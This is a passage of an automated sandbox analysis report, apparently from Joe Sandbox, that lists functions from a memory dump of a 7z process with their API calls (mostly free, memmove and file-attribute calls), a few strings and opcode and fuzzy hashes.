Instruction Fuzzy Hash: 56E0B678766F01D1EE1ADB55FC953A82370AB89B06F88042D891E8B360FF3CC24AC340

Function 001471BC Relevance: 6.5, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0014734A
free.MSVCRT ref: 00147355
GetLastError.KERNEL32 ref: 001473AC
free.MSVCRT ref: 001473B9
free.MSVCRT ref: 001473C4

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$ErrorLast
String ID:
API String ID: 408039514-0
Opcode ID: eb35eda3f074dfc2ab316374226af9b5045eb8b96d0d247d19b9edefb77cef74
Instruction ID: cab4ec639a91ce1f15fa9f2cfc4df9c97c010f5a6b37068f4bd9c0491aa7f281
Opcode Fuzzy Hash: eb35eda3f074dfc2ab316374226af9b5045eb8b96d0d247d19b9edefb77cef74
Instruction Fuzzy Hash: A5817C72319A4082CB28DF25D45076EB7B1F798BA4F544625EF9E43BA8EF38C995C700

Function 00124210 Relevance: 6.4, APIs: 5, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b054cff316d6362c540f9b163884723641e5c2bea3e11dd8c59b701f31abf9a
Instruction ID: 0d431e36183ca6c769f43f1b3c8142bb2c1891dcb6b3c13a17bd6706fe5c026d
Opcode Fuzzy Hash: 8b054cff316d6362c540f9b163884723641e5c2bea3e11dd8c59b701f31abf9a
Instruction Fuzzy Hash: 8541D6237157A09BCB24DE22F5402AD6760FB96BE4F485221EFAD07B59DF38C5A5C700

Function 00144C2C Relevance: 6.4, APIs: 5, Instructions: 114COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00144C6F
memmove.MSVCRT ref: 00144D71
free.MSVCRT ref: 00144D8E
free.MSVCRT ref: 00144DA3
free.MSVCRT ref: 00144DB1

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: ea4c382c0509df945921f23a34c49439f2ef1336e99032456fda2b95fe78acec
Instruction ID: dd2606565a1fc46e3d58295ffb6228651dd236e7fe07f8bc85e3b8e29d804f2a
Opcode Fuzzy Hash: ea4c382c0509df945921f23a34c49439f2ef1336e99032456fda2b95fe78acec
Instruction Fuzzy Hash: 6D41EA276086C096C720DA25E48029FAFB1F3E6798F180215FF9607B69C77ED099CB11

Function 0014F4AC Relevance: 6.3, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0014F5BC
free.MSVCRT ref: 0014F5D3
free.MSVCRT ref: 0014F5DE

Part of subcall function 0011383C: memmove.MSVCRT ref: 00113877

free.MSVCRT ref: 0014F5EF
free.MSVCRT ref: 0014F5FA

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$ErrorLastmemmove
String ID:
API String ID: 3561842085-0
Opcode ID: fffb23e19f922e00206dffc0701e93bf50c9df1a145a300dd5ae7f7b9b1c6057
Instruction ID: ca9f0d77fff63cc07ad5271c3f9f788609439450b9cd4725013c57a1796a6e6f
Opcode Fuzzy Hash: fffb23e19f922e00206dffc0701e93bf50c9df1a145a300dd5ae7f7b9b1c6057
Instruction Fuzzy Hash: 17316172214A4091CB24DF24E45069E7371FB99BA4F585235FBAE477B8DF38C59ACB00

Function 0011C790 Relevance: 6.3, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 0011C7BB
memcmp.MSVCRT ref: 0011C7D6
memcmp.MSVCRT ref: 0011C7EC

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 712599938bbeffd81504be00bb0ea2eb8721062aa4075a36f0ea6c542d0c478b
Instruction ID: 43d0d546b4f71406af6fbc08605e0f2876a03930f0f176527c7d77f947d4f8af
Opcode Fuzzy Hash: 712599938bbeffd81504be00bb0ea2eb8721062aa4075a36f0ea6c542d0c478b
Instruction Fuzzy Hash: 771102B2384B4192EB0C9F669C913E82665DB19FC5F85A034CE058F345EF78DA89C344

Function 00113BE4 Relevance: 6.3, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF), ref: 00113C2A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF), ref: 00113C36
_CxxThrowException.MSVCRT ref: 00113C54
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF), ref: 00113C80
_CxxThrowException.MSVCRT ref: 00113C9E

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ByteCharExceptionMultiThrowWide$ErrorLast
String ID:
API String ID: 2296236218-0
Opcode ID: 970d5cdc5d485172c45e5e67665dade64923c0f4ace1f899d0aee1bf120422e8
Instruction ID: 87e24c90e347c4c8a88d3c4e89b55fc4064a70d38c93f7f498ae13714c4e5045
Opcode Fuzzy Hash: 970d5cdc5d485172c45e5e67665dade64923c0f4ace1f899d0aee1bf120422e8
Instruction Fuzzy Hash: DF2190B2704B44C6DB14DF26E85039DB7A1FB98B89F448129DA8947768EF78C98AC740

Function 0011182C Relevance: 6.3, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00111868
free.MSVCRT ref: 00111872
free.MSVCRT ref: 0011187C
free.MSVCRT ref: 001118A9
free.MSVCRT ref: 001118B1

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: bfe4f0f55ee913568f211c4fbf308b9aee0fbd2fe155706c5642a99402e277d4
Instruction ID: 126221d2bb37bdc8a84f776aabb6afa0a1b5ab3ce1b7aaa28358526bf85c517c
Opcode Fuzzy Hash: bfe4f0f55ee913568f211c4fbf308b9aee0fbd2fe155706c5642a99402e277d4
Instruction Fuzzy Hash: 3D018023702954A6DA28EF26D9105E9A320F797FA4B1C8331EF6D17794CF34D8A2C340

Function 00157D84 Relevance: 6.3, APIs: 5, Instructions: 42COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00157DA9
free.MSVCRT ref: 00157DB2
free.MSVCRT ref: 00157DE5
free.MSVCRT ref: 00157DF2
free.MSVCRT ref: 00157DFB

Part of subcall function 001394A8: free.MSVCRT ref: 001394DB
Part of subcall function 001394A8: free.MSVCRT ref: 001394E3
Part of subcall function 001394A8: free.MSVCRT ref: 001394F0
Part of subcall function 001394A8: free.MSVCRT ref: 0013951C
Part of subcall function 001394A8: free.MSVCRT ref: 00139525
Part of subcall function 001394A8: free.MSVCRT ref: 0013952D
Part of subcall function 001394A8: free.MSVCRT ref: 0013953A

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 782f6fd7dc41bf8ca513220e7cc76460a379d2f1bbd67af93ff481f02cf2e1fb
Instruction ID: e7be463db8b75171799d46a2195a4d326a35271701281a84faa41d0dafd1cad4
Opcode Fuzzy Hash: 782f6fd7dc41bf8ca513220e7cc76460a379d2f1bbd67af93ff481f02cf2e1fb
Instruction Fuzzy Hash: 2C018F23702940D9CA1AEF25EC612A82324EB56FA8F580231EF1D4B355EF31C896C380

Function 00133864 Relevance: 6.3, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00133877

Part of subcall function 00130BBC: free.MSVCRT ref: 00130BCC
Part of subcall function 00130BBC: free.MSVCRT ref: 00130BD5
Part of subcall function 00130BBC: free.MSVCRT ref: 00130C00
Part of subcall function 00130BBC: free.MSVCRT ref: 00130C08

Part of subcall function 00131474: free.MSVCRT ref: 001314A6
Part of subcall function 00131474: free.MSVCRT ref: 001314AF
Part of subcall function 00131474: free.MSVCRT ref: 001314B8
Part of subcall function 00131474: free.MSVCRT ref: 001314C0

free.MSVCRT ref: 00133892
free.MSVCRT ref: 0013389B
free.MSVCRT ref: 001338C6
free.MSVCRT ref: 001338CE

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 18ccfc5564c15e61a23e9604fa5b251626cea37ac211422c809096770ce5a63d
Instruction ID: ac9a13f6c0d6aaea7eb8390833bd3664235da9558639c0f29f2e0430e503c3d8
Opcode Fuzzy Hash: 18ccfc5564c15e61a23e9604fa5b251626cea37ac211422c809096770ce5a63d
Instruction Fuzzy Hash: 1FF03123B12850A6CA19FE26DD511AC6320FB96F94B0D4371EF2D4B751DF60C9B28340

Function 0013C9CC Relevance: 6.3, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0013C9FE
free.MSVCRT ref: 0013CA07
free.MSVCRT ref: 0013CA10
free.MSVCRT ref: 0013CA19
free.MSVCRT ref: 0013CA21

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c213d67050506c93901002ddd1084c0dd65243c9eb9d617befeb87ee319482a8
Instruction ID: 493db5245d0f2859f83fd5c89a9074212b5e32544322a43093774c10cfbebd6a
Opcode Fuzzy Hash: c213d67050506c93901002ddd1084c0dd65243c9eb9d617befeb87ee319482a8
Instruction Fuzzy Hash: 95F0301371199499CA28EE26DD911A86320AFA7BE8B1D4271FF1E57755EF30C8A28340

Function 0013CA3C Relevance: 6.3, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0013CA6E
free.MSVCRT ref: 0013CA77
free.MSVCRT ref: 0013CA80
free.MSVCRT ref: 0013CA89
free.MSVCRT ref: 0013CA91

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f7456f4712a6592163503973d257ef0995b2ed4d21bfa0f5baa221aafdf9fe8c
Instruction ID: 2a18638dca3580a126a2815c0ad6eb38a895c5db3ecd50c11e29647b989f3157
Opcode Fuzzy Hash: f7456f4712a6592163503973d257ef0995b2ed4d21bfa0f5baa221aafdf9fe8c
Instruction Fuzzy Hash: 70F090537019849ECA14EE26DC812A83320AF66BA9F1C4271FF2D17755EF30C8E28340

Function 00122A84 Relevance: 6.3, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00122A94
free.MSVCRT ref: 00122A9D
free.MSVCRT ref: 00122AC9
free.MSVCRT ref: 00122AD1
free.MSVCRT ref: 00122ADE

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 99aac3ebba39b973ad56ba9f7cc64fb651a8512a5e29eea15e4582f1b066fd79
Instruction ID: f07a4a62cf19f3cf9025ce2cd95010ad77eb49cb9f5b6d9bff93ed129f1d94ed
Opcode Fuzzy Hash: 99aac3ebba39b973ad56ba9f7cc64fb651a8512a5e29eea15e4582f1b066fd79
Instruction Fuzzy Hash: 34F03023711954AACB29EE3AED511AC6320EBA6FD471D0271EF2D4B759DF30C8A28340

Function 00157690 Relevance: 6.3, APIs: 5, Instructions: 22COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 001576AF
free.MSVCRT ref: 001576BB
free.MSVCRT ref: 001576C7
free.MSVCRT ref: 001576D3

Part of subcall function 0015B310: free.MSVCRT ref: 0015B335
Part of subcall function 0015B310: free.MSVCRT ref: 0015B342
Part of subcall function 0015B310: free.MSVCRT ref: 0015B34E
Part of subcall function 0015B310: free.MSVCRT ref: 0015B358
Part of subcall function 0015B310: free.MSVCRT ref: 0015B362
Part of subcall function 0015B310: free.MSVCRT ref: 0015B36C
Part of subcall function 0015B310: free.MSVCRT ref: 0015B376
Part of subcall function 0015B310: free.MSVCRT ref: 0015B380

free.MSVCRT ref: 001576E4

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 80021553301d9a40d6bbe7854cc860826636cb7fafc5824219d75b22b7ddba10
Instruction ID: 2df1fff879b8a91e5d028cb1c30a1a6f820f75a2b71bb4fec7bc2f3404e8b90c
Opcode Fuzzy Hash: 80021553301d9a40d6bbe7854cc860826636cb7fafc5824219d75b22b7ddba10
Instruction Fuzzy Hash: 87E0C93221198091CA54EF35D8961EC2360E7AAB58F1C0271EE2E8E362DF20C9A78350

Function 001502F0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 001503A1
memmove.MSVCRT ref: 001503F9
_CxxThrowException.MSVCRT ref: 00150454

Strings

Internal collision in update action set, xrefs: 00150383, 0015043C

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ExceptionThrow$memmove
String ID: Internal collision in update action set
API String ID: 265668421-2378581463
Opcode ID: 2489d0cffbcfc2a2b50f9be8098032778b6c83d9b82680e9d68b7dd3d3502d6c
Instruction ID: b6a5511036d2a25d5988bb04460db05e752fa0443a6ab41925389cc0de368dd1
Opcode Fuzzy Hash: 2489d0cffbcfc2a2b50f9be8098032778b6c83d9b82680e9d68b7dd3d3502d6c
Instruction Fuzzy Hash: 9A417533308685CACB36CB5AE45476E7B60F39878DF048119EF990BB58DB78C589CB00

Function 00154594 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 001546C5
free.MSVCRT ref: 001546DD
free.MSVCRT ref: 001546E7

Part of subcall function 00112C78: free.MSVCRT ref: 00112CAE

Strings

= , xrefs: 0015461C, 00154634

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID: =
API String ID: 1294909896-2525689732
Opcode ID: 40c11fba967689670f12ed8931cb4eba44630f327dd0b6864abb2cd98b0bc6cc
Instruction ID: 9286b2ba9de72fafce5a9224d93dc2dc5253a5e97427d3bc4d6ac26c5cf77c0f
Opcode Fuzzy Hash: 40c11fba967689670f12ed8931cb4eba44630f327dd0b6864abb2cd98b0bc6cc
Instruction Fuzzy Hash: 7631E633319A80D6CB14DF55E49039EA731F7E2765F940221FB9E47A68DB78C989CB00

Function 00146D5C Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00146E91

Part of subcall function 00113518: free.MSVCRT ref: 00113551

Part of subcall function 00113314: memmove.MSVCRT ref: 00113339

free.MSVCRT ref: 00146E83

Strings

exe, xrefs: 00146DEE

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmove
String ID: exe
API String ID: 1534225298-1801697008
Opcode ID: 76770eb1b0aff3fcbaddab3083a3c2637205f7744bad9aa1b7e03b28f3d0466f
Instruction ID: e963a0a67b74f6382e16893472fcf87156ba597ca515819e227f0dd031373c26
Opcode Fuzzy Hash: 76770eb1b0aff3fcbaddab3083a3c2637205f7744bad9aa1b7e03b28f3d0466f
Instruction Fuzzy Hash: 2F31896330494196CE34EB25E8501DEBB31F7A67D4F845221EBAE47A79DF38C68AC700

Function 00139380 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 001393B0
SysStringByteLen.OLEAUT32 ref: 00139411
free.MSVCRT ref: 0013942C
memmove.MSVCRT ref: 00139462

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$ByteStringmemmove
String ID:
API String ID: 400576877-0
Opcode ID: 5637341bacbf58961c244732aae0ca4a62e7964f71b8c23c3f8f40cbc07f99e7
Instruction ID: ec775b7e4dc87499c99c10735836a992ca538067d705f2e334116130a1f83283
Opcode Fuzzy Hash: 5637341bacbf58961c244732aae0ca4a62e7964f71b8c23c3f8f40cbc07f99e7
Instruction Fuzzy Hash: 5D21677331574091DB249F55E6503AD6260FB887A4F484235EFAE4B794DFB8C8A6C704

Function 00139644 Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

wcscmp.MSVCRT ref: 001396D5
free.MSVCRT ref: 001396F1
free.MSVCRT ref: 00139706

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$wcscmp
String ID:
API String ID: 4021281200-0
Opcode ID: 1721c6616b74a4c47d99cfe980b2e26b6a86647a23934d96b3aa9ed1d32fc9d1
Instruction ID: 4f5241d610b49b79a525c23fcd7c052683f9af0a5b9467b489c3d98c382ec608
Opcode Fuzzy Hash: 1721c6616b74a4c47d99cfe980b2e26b6a86647a23934d96b3aa9ed1d32fc9d1
Instruction Fuzzy Hash: 8F21047731474092DB30EF26E8412A97360E7D9BE4F085321EEAA4B794EFB4C586CB00

Function 0011FADC Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0011FB44

Strings

Unsupported charset:, xrefs: 0011FB91

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID: Unsupported charset:
API String ID: 1294909896-616772432
Opcode ID: 9e42c2d2b4e1f7d5b703db533c77dc73d7d9a80e6522a8e966b0da96d7856300
Instruction ID: 4e1d43bbd0f6c53d42de19c6b5e83174fcf3d3d2a58e4bd30733eaef981dadca
Opcode Fuzzy Hash: 9e42c2d2b4e1f7d5b703db533c77dc73d7d9a80e6522a8e966b0da96d7856300
Instruction Fuzzy Hash: DC216062608A0096DA24DB18E8903D97721E7D97E4F544336EAAE077A9CF68CAC6C740

Function 00116D48 Relevance: 6.1, APIs: 4, Instructions: 56fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00117D4C: GetFileAttributesW.KERNELBASE ref: 00117D6E
Part of subcall function 00117D4C: GetFileAttributesW.KERNEL32 ref: 00117DA5
Part of subcall function 00117D4C: free.MSVCRT ref: 00117DB2

DeleteFileW.KERNEL32 ref: 00116D90
DeleteFileW.KERNEL32 ref: 00116DCA
free.MSVCRT ref: 00116DDA
free.MSVCRT ref: 00116DE8

Part of subcall function 001168A0: SetFileAttributesW.KERNELBASE ref: 001168C7

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: File$Attributesfree$Delete
String ID:
API String ID: 324319583-0
Opcode ID: 9ea681c350cecb0b42c71b1f35ea49690d0665b5843397cde649d2af5f6ea4c4
